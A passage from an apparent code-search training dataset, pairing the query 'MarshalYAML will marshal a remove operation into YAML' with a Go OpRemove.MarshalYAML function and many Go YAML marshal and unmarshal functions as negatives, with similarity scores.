\"0.49564162\",\n \"0.4951848\",\n \"0.49479058\",\n \"0.49440834\",\n \"0.49440187\",\n \"0.49336782\",\n \"0.4929491\",\n \"0.49167794\",\n \"0.4916577\",\n \"0.49158177\",\n \"0.49085957\",\n \"0.49064368\",\n \"0.4905083\",\n \"0.48999256\",\n \"0.4899721\",\n \"0.48939866\",\n \"0.48930913\",\n \"0.48916918\",\n \"0.48729387\",\n \"0.48674053\",\n \"0.4858956\"\n]"},"document_score":{"kind":"string","value":"0.6976359"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106175,"cells":{"query":{"kind":"string","value":"MarshalYAML will marshal a remove operation into YAML"},"document":{"kind":"string","value":"func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func (op OpRetain) MarshalYAML() (interface{}, error) {\n\treturn op.Fields, nil\n}","func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}","func (o Op) MarshalYAML() (interface{}, error) {\n\treturn map[string]interface{}{\n\t\to.Type(): o.OpApplier,\n\t}, nil\n}","func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}","func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}","func (n Nil) MarshalYAML() (interface{}, error) {\n\treturn nil, nil\n}","func (ep Endpoint) MarshalYAML() (interface{}, error) {\n\ts, err := ep.toString()\n\treturn s, err\n}","func (f Flag) MarshalYAML() (interface{}, error) {\n\treturn f.Name, nil\n}","func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}","func (self *Yaml) Del(params ...interface{}) error {\n\targs, err := self.generateArgs(params...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn DeleteProperty(args)\n}","func cleanYaml(rawYaml []byte) []byte {\n\tvar lines []string\n\tvar buffer bytes.Buffer\n\n\tlines = strings.Split(string(rawYaml), \"\\n\")\n\n\tfor _, line := range lines {\n\t\tbuffer.WriteString(rubyYamlRegex.ReplaceAllString(line, \"${1}${2}\\n\"))\n\t}\n\treturn buffer.Bytes()\n}","func (key PrivateKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}","func (k *Kluster) YAML() ([]byte, error) {\n\treturn yaml.Marshal(k)\n}","func (s GitEvent) MarshalYAML() (interface{}, error) {\n\treturn toString[s], nil\n}","func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}","func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (c *KafkaCluster) removeMarshal(m *Marshaler) {\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\n\tfor i, ml := range c.marshalers {\n\t\tif ml == m {\n\t\t\tc.marshalers = append(c.marshalers[:i], c.marshalers[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n}","func (f Fixed8) MarshalYAML() (interface{}, error) {\n\treturn f.String(), nil\n}","func (op OpFlatten) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}","func (b *Backend) MarshalYAML() (interface{}, error) {\n\tb.mu.RLock()\n\tdefer b.mu.RUnlock()\n\n\tpayload := struct {\n\t\tAddress string\n\t\tDisabledUntil time.Time `yaml:\"disabledUntil\"`\n\t\tForcePromotionsAfter time.Duration `yaml:\"forcePromotionsAfter\"`\n\t\tLatency time.Duration `yaml:\"latency\"`\n\t\tMaxConnections int `yaml:\"maxConnections\"`\n\t\tTier int `yaml:\"tier\"`\n\t}{\n\t\tAddress: b.addr.String(),\n\t\tDisabledUntil: b.mu.disabledUntil,\n\t\tForcePromotionsAfter: b.mu.forcePromotionAfter,\n\t\tLatency: b.mu.lastLatency,\n\t\tMaxConnections: b.mu.maxConnections,\n\t\tTier: b.mu.tier,\n\t}\n\treturn payload, nil\n}","func (bc *ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(AtomicLoadByteCount(bc)), nil\n}","func (r *Regexp) MarshalYAML() (interface{}, error) {\n\treturn r.String(), nil\n}","func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\n\treturn export.ToData(), nil\n}","func (b ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(b), nil\n}","func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(o, o.low)\n\treturn nb.Render(), nil\n}","func (d LegacyDec) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func DeleteYaml(fname string) (err error) {\n\terr = os.Remove(fname)\n\treturn\n}","func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}","func (u *URL) MarshalYAML() (interface{}, error) {\n\treturn u.String(), nil\n}","func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyReadUntilConfig{\n\t\tInput: r.Input,\n\t\tRestart: r.Restart,\n\t\tCheck: r.Check,\n\t}\n\tif r.Input == nil {\n\t\tdummy.Input = struct{}{}\n\t}\n\treturn dummy, nil\n}","func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}","func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"\", nil\n\t}\n\treturn nil, nil\n}","func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"\", nil\n\t}\n\treturn nil, nil\n}","func (c *Components) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(c, c.low)\n\treturn nb.Render(), nil\n}","func remove(ymlfile string, packageName string) error {\n\tappFS := afero.NewOsFs()\n\tyf, _ := afero.ReadFile(appFS, ymlfile)\n\tfi, err := os.Stat(ymlfile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar out []byte\n\ti := 0\n\tlines := bytes.Split(yf, []byte(\"\\n\"))\n\tfor _, line := range lines {\n\t\ti++\n\t\t// trim the line to detect the start of the list of packages\n\t\t// but do not write the trimmed string as it may cause an\n\t\t// unneeded file diff to the yml file\n\t\tsline := bytes.TrimLeft(line, \" \")\n\t\tif bytes.HasPrefix(sline, []byte(\"- \"+packageName)) {\n\t\t\tcontinue\n\t\t}\n\t\tout = append(out, line...)\n\t\tif i < len(lines) {\n\t\t\tout = append(out, []byte(\"\\n\")...)\n\t\t}\n\t}\n\terr = afero.WriteFile(appFS, ymlfile, out, fi.Mode())\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func ToCleanedK8sResourceYAML(obj Resource) ([]byte, error) {\n\traw, err := runtime.DefaultUnstructuredConverter.ToUnstructured(obj)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to convert object to unstructured object: %w\", err)\n\t}\n\n\t// No need to store the status\n\tdelete(raw, \"status\")\n\n\tmetadata := map[string]interface{}{\n\t\t\"name\": obj.GetName(),\n\t}\n\n\tif obj.GetNamespace() != \"\" {\n\t\tmetadata[\"namespace\"] = obj.GetNamespace()\n\t}\n\n\tif len(obj.GetLabels()) != 0 {\n\t\tmetadata[\"labels\"] = obj.GetLabels()\n\t}\n\n\tif len(obj.GetAnnotations()) != 0 {\n\t\tmetadata[\"annotations\"] = obj.GetAnnotations()\n\t}\n\n\traw[\"metadata\"] = metadata\n\n\tbuf, err := yaml.Marshal(raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to convert unstructured object to json: %w\", err)\n\t}\n\n\treturn buf, nil\n}","func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\n\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\n}","func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}","func (d Rate) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (u *URL) MarshalYAML() (interface{}, error) {\n\tif u.url == nil {\n\t\treturn nil, nil\n\t}\n\treturn u.url.String(), nil\n}","func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}","func (o *Output) MarshalYAML() (interface{}, error) {\n\tif o.ShowValue {\n\t\treturn withvalue(*o), nil\n\t}\n\to.Value = nil // explicitly make empty\n\to.Sensitive = false // explicitly make empty\n\treturn *o, nil\n}","func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\n\treturn ec.String(), nil\n}","func TestBucketToYAML(t *testing.T) {\n\tt.Skip()\n\t\n\tbkt := bucket.New()\n\n\tbkt.Nodes = append(bkt.Nodes, \"node-from-test\")\n\tbkt.Endpoints.Version = \"from-code\"\n\n\tendpointItem := struct {\n\t\tClusterName string `yaml:\"cluster_name\"`\n\t\tHosts []struct {\n\t\t\tSocketAddress struct {\n\t\t\t\tAddress string `yaml:\"address\"`\n\t\t\t\tPortValue uint32 `yaml:\"port_value\"`\n\t\t\t} `yaml:\"socket_address\"\",flow\"`\n\t\t} `yaml:\"hosts\"\",flow\"`\n\t}{\n\t\tClusterName: \"cluster-from-test\",\n\t}\n\t\n\tbkt.Endpoints.Items = append(bkt.Endpoints.Items, endpointItem)\n\t\n\t// TODO: just a quick one for now\n\t// not checking the guts here\n\tyml, err := bkt.ToYAML()\n\tif err != nil {\n\t\tlog.Tracef(\"bucket_test.go: TestBucketToYAML(): yml = %s\", yml)\n\t\tt.Errorf(\"Could not bkt.ToYaml(), err = %s\", err)\n\t}\n\n\tfilename := \"./bucket-obus-node-01-eds-rds-60001-route-direct.yaml\"\n\terr = bkt.FromFile(filename)\n\n\tyml, err = bkt.ToYAML()\n\tif err != nil {\n\t\tlog.Tracef(\"bucket_test.go: TestBucketToYAML(): yml = %s\", yml)\n\t\tt.Errorf(\"Could not bkt.ToYAML(), err = %s\", err)\n\t}\n\n\tlog.Tracef(\"bucket_test.go: TestBucketToYAML(): yml = >\\n%s\", yml)\n\n\n\t// check yml for regex 60099\n\t// check ymkl for cluster_name: obus-server-60001 and make sure that it appears 2 times\n\t// one in endpoints, another time in routes\n\n\trxp,_ := regexp.Compile(\"60099\")\n\n\tif !rxp.MatchString(string(yml)) {\n\t\tt.Errorf(\"Could not find 60099 in generated YAML, while bkt.ToYAML()\")\n\t}\n\n\n\tif val , exp := strings.Count(string(yml), \"cluster_name: obus-server-60001\"), 2;\n\tval != exp {\n\t\tt.Errorf(\"strings.Count(string(yml), \\\"cluster_name: obus-server-60001\\\") = %d, should be %d\", val, exp)\n\t}\n\t\n}","func removeFromKustomization(providerDirectory string, release v1alpha1.Release) error {\n\tpath := filepath.Join(providerDirectory, \"kustomization.yaml\")\n\tvar providerKustomization kustomizationFile\n\tproviderKustomizationData, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\terr = yaml.UnmarshalStrict(providerKustomizationData, &providerKustomization)\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\tfor i, r := range providerKustomization.Resources {\n\t\tif r == releaseToDirectory(release) {\n\t\t\tproviderKustomization.Resources = append(providerKustomization.Resources[:i], providerKustomization.Resources[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n\tproviderKustomization.Resources, err = deduplicateAndSortVersions(providerKustomization.Resources)\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\tdata, err := yaml.Marshal(providerKustomization)\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\terr = ioutil.WriteFile(path, data, 0644) //nolint:gosec\n\tif err != nil {\n\t\treturn microerror.Mask(err)\n\t}\n\n\treturn nil\n}","func (c *Scrubber) ScrubYaml(input []byte) ([]byte, error) {\n\tvar data *interface{}\n\terr := yaml.Unmarshal(input, &data)\n\n\t// if we can't load the yaml run the default scrubber on the input\n\tif err == nil {\n\t\twalk(data, func(key string, value interface{}) (bool, interface{}) {\n\t\t\tfor _, replacer := range c.singleLineReplacers {\n\t\t\t\tif replacer.YAMLKeyRegex == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif replacer.YAMLKeyRegex.Match([]byte(key)) {\n\t\t\t\t\tif replacer.ProcessValue != nil {\n\t\t\t\t\t\treturn true, replacer.ProcessValue(value)\n\t\t\t\t\t}\n\t\t\t\t\treturn true, defaultReplacement\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false, \"\"\n\t\t})\n\n\t\tnewInput, err := yaml.Marshal(data)\n\t\tif err == nil {\n\t\t\tinput = newInput\n\t\t} else {\n\t\t\t// Since the scrubber is a dependency of the logger we can use it here.\n\t\t\tfmt.Fprintf(os.Stderr, \"error scrubbing YAML, falling back on text scrubber: %s\\n\", err)\n\t\t}\n\t}\n\treturn c.ScrubBytes(input)\n}","func (p *Parameter) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(p, p.low)\n\treturn nb.Render(), nil\n}","func (d *Discriminator) MarshalYAML() (interface{}, error) {\n\tnb := low2.NewNodeBuilder(d, d.low)\n\treturn nb.Render(), nil\n}","func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\n\treturn approvalStrategyToString[a], nil\n\t//buffer := bytes.NewBufferString(`\"`)\n\t//buffer.WriteString(approvalStrategyToString[*s])\n\t//buffer.WriteString(`\"`)\n\t//return buffer.Bytes(), nil\n}","func (ss StdSignature) MarshalYAML() (interface{}, error) {\n\tpk := \"\"\n\tif ss.PubKey != nil {\n\t\tpk = ss.PubKey.String()\n\t}\n\n\tbz, err := yaml.Marshal(struct {\n\t\tPubKey string `json:\"pub_key\"`\n\t\tSignature string `json:\"signature\"`\n\t}{\n\t\tpk,\n\t\tfmt.Sprintf(\"%X\", ss.Signature),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bz), err\n}","func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.Duration.String(), nil\n}","func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\n\tif m.Config == nil {\n\t\treturn m.Name, nil\n\t}\n\n\traw := map[string]interface{}{\n\t\tm.Name: m.Config,\n\t}\n\treturn raw, nil\n}","func (b Bool) MarshalYAML() (interface{}, error) {\n\tif !b.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn b.value, nil\n}","func (r RetryConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyRetryConfig{\n\t\tOutput: r.Output,\n\t\tConfig: r.Config,\n\t}\n\tif r.Output == nil {\n\t\tdummy.Output = struct{}{}\n\t}\n\treturn dummy, nil\n}","func (r ParseKind) MarshalYAML() ([]byte, error) {\n\tif s, ok := interface{}(r).(fmt.Stringer); ok {\n\t\treturn yaml.Marshal(s.String())\n\t}\n\ts, ok := _ParseKindValueToName[r]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid ParseKind: %d\", r)\n\t}\n\treturn yaml.Marshal(s)\n}","func (i UOM) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}","func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\n\treturn m.String(), nil\n}","func (u URL) MarshalYAML() (interface{}, error) {\n\tif u.URL != nil {\n\t\treturn u.String(), nil\n\t}\n\treturn nil, nil\n}","func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}","func (f BodyField) MarshalYAML() (interface{}, error) {\n\treturn toJSONDot(f), nil\n}","func ExportYAMLForSpec(ctx context.Context, client *gapic.RegistryClient, message *rpc.Spec) {\n\tprintDocAsYaml(docForMapping(exportSpec(ctx, client, message)))\n}","func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\n\tif len(extensions) == 0 {\n\t\treturn v, nil\n\t}\n\tmarshaled, err := yaml.Marshal(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar unmarshaled map[string]interface{}\n\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range extensions {\n\t\tunmarshaled[k] = v\n\t}\n\treturn unmarshaled, nil\n}","func (s *Siegfried) YAML() string {\n\tversion := config.Version()\n\tstr := fmt.Sprintf(\n\t\t\"---\\nsiegfried : %d.%d.%d\\nscandate : %v\\nsignature : %s\\ncreated : %v\\nidentifiers : \\n\",\n\t\tversion[0], version[1], version[2],\n\t\ttime.Now().Format(time.RFC3339),\n\t\tconfig.SignatureBase(),\n\t\ts.C.Format(time.RFC3339))\n\tfor _, id := range s.ids {\n\t\td := id.Describe()\n\t\tstr += fmt.Sprintf(\" - name : '%v'\\n details : '%v'\\n\", d[0], d[1])\n\t}\n\treturn str\n}","func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}","func (z Z) MarshalYAML() (interface{}, error) {\n\ttype Z struct {\n\t\tS string `json:\"s\"`\n\t\tI int32 `json:\"iVal\"`\n\t\tHash string\n\t\tMultiplyIByTwo int64 `json:\"multipliedByTwo\"`\n\t}\n\tvar enc Z\n\tenc.S = z.S\n\tenc.I = z.I\n\tenc.Hash = z.Hash()\n\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\n\treturn &enc, nil\n}","func (d *WebAuthnDevice) MarshalYAML() (any, error) {\n\treturn d.ToData(), nil\n}","func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}","func SPrintYAML(a interface{}) (string, error) {\n\tb, err := MarshalJSON(a)\n\t// doing yaml this way because at times you have nested proto structs\n\t// that need to be cleaned.\n\tyam, err := yamlconv.JSONToYAML(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(yam), nil\n}","func (key *PublicKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPublicKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}","func (cp *CertPool) MarshalYAML() (interface{}, error) {\n\treturn cp.Files, nil\n}","func (m *MagmaSwaggerSpec) MarshalToYAML() (string, error) {\n\td, err := yaml.Marshal(&m)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(d), nil\n}","func (i Instance) MarshalYAML() (interface{}, error) {\n\treturn i.Vars, nil\n}","func FuzzSigYaml(b []byte) int {\n\tt := struct{}{}\n\tm := map[string]interface{}{}\n\tvar out int\n\tif err := sigyaml.Unmarshal(b, &m); err == nil {\n\t\tout = 1\n\t}\n\tif err := sigyaml.Unmarshal(b, &t); err == nil {\n\t\tout = 1\n\t}\n\treturn out\n}","func asYaml(w io.Writer, m resmap.ResMap) error {\n\tb, err := m.AsYaml()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(b)\n\treturn err\n}","func (v *Int8) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}","func toYAML(v interface{}) string {\n\tdata, err := yaml.Marshal(v)\n\tif err != nil {\n\t\t// Swallow errors inside of a template.\n\t\treturn \"\"\n\t}\n\n\treturn strings.TrimSuffix(string(data), \"\\n\")\n}","func (r OAuthFlow) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"authorizationUrl\"] = r.AuthorizationURL\n\n\tobj[\"tokenUrl\"] = r.TokenURL\n\n\tif r.RefreshURL != \"\" {\n\t\tobj[\"refreshUrl\"] = r.RefreshURL\n\t}\n\n\tobj[\"scopes\"] = r.Scopes\n\n\tfor key, val := range r.Extensions {\n\t\tobj[key] = val\n\t}\n\n\treturn obj, nil\n}","func (v Validator) MarshalYAML() (interface{}, error) {\n\tbs, err := yaml.Marshal(struct {\n\t\tStatus sdk.BondStatus\n\t\tJailed bool\n\t\tUnbondingHeight int64\n\t\tConsPubKey string\n\t\tOperatorAddress sdk.ValAddress\n\t\tTokens sdk.Int\n\t\tDelegatorShares sdk.Dec\n\t\tDescription Description\n\t\tUnbondingCompletionTime time.Time\n\t\tCommission Commission\n\t\tMinSelfDelegation sdk.Dec\n\t}{\n\t\tOperatorAddress: v.OperatorAddress,\n\t\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\n\t\tJailed: v.Jailed,\n\t\tStatus: v.Status,\n\t\tTokens: v.Tokens,\n\t\tDelegatorShares: v.DelegatorShares,\n\t\tDescription: v.Description,\n\t\tUnbondingHeight: v.UnbondingHeight,\n\t\tUnbondingCompletionTime: v.UnbondingCompletionTime,\n\t\tCommission: v.Commission,\n\t\tMinSelfDelegation: v.MinSelfDelegation,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), nil\n}","func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}","func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}","func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: \n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}","func (i ChannelName) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}","func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}","func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func Test_jsonpatch_Remove_NonExistent_IsError(t *testing.T) {\n\tg := NewWithT(t)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[{\"op\":\"remove\", \"path\":\"/test_key\"}]`))\n\n\torigDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\t_, err := patch1.Apply(origDoc)\n\tg.Expect(err).Should(HaveOccurred(), \"patch apply\")\n}","func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (d *Dataset) YAML() (string, error) {\n\tback := d.Dict()\n\n\tb, err := yaml.Marshal(back)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(b), nil\n}","func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}"],"string":"[\n \"func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error 